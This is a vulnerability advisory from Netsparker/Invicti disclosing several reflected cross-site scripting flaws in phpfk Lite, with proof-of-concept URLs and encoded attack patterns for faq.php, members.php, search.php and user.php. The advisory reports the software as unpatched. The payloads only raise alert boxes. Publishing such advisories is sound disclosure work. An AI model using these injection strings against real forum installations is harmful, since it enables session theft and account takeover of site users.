Multiple Reflected XSS Vulnerabilities in phpfk Lite

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in phpfk
Affected Software: phpfk
Affected Versions: Lite
Vendor Homepage: http://www.frank-karau.de/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-030

Technical Details

Proof of Concept URLs for XSS vulnerabilities in phpfk Lite;

URL: /phpfk-lite-version/faq.php?'"--></style></scRipt><scRipt>alert(0x001C10)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001C10)</scRipt>

URL: /phpfk-lite-version/members.php?search="><iMg src=N onerror=alert(9)>&sort=username
Parameter Name: search
Parameter Type: GET
Attack Pattern: %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e

URL: /phpfk-lite-version/members.php?'"--></style></scRipt><scRipt>alert(0x0016F1)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0016F1)</scRipt>

URL: /phpfk-lite-version/members.php
Parameter Name: search
Parameter Type: POST
Attack Pattern: %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e

URL: /phpfk-lite-version/search.php?'"--></style></scRipt><scRipt>alert(0x00171C)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00171C)</scRipt>

URL: /phpfk-lite-version/user.php?user='"--></style></scRipt><scRipt>alert(0x004DB0)</scRipt>
Parameter Name: user
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004DB0)</scRipt>

URL: /phpfk-lite-version/user.php?user='"--></style></scRipt><scRipt>alert(0x00D3B1)</scRipt>&action=login&name=&passwd=&submit=Anmelden&cookie=
Parameter Name: user
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D3B1)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

209 Mar 2017 – Issue reported.
16 Jun 2017 – Advisory released.

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

These issues have been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.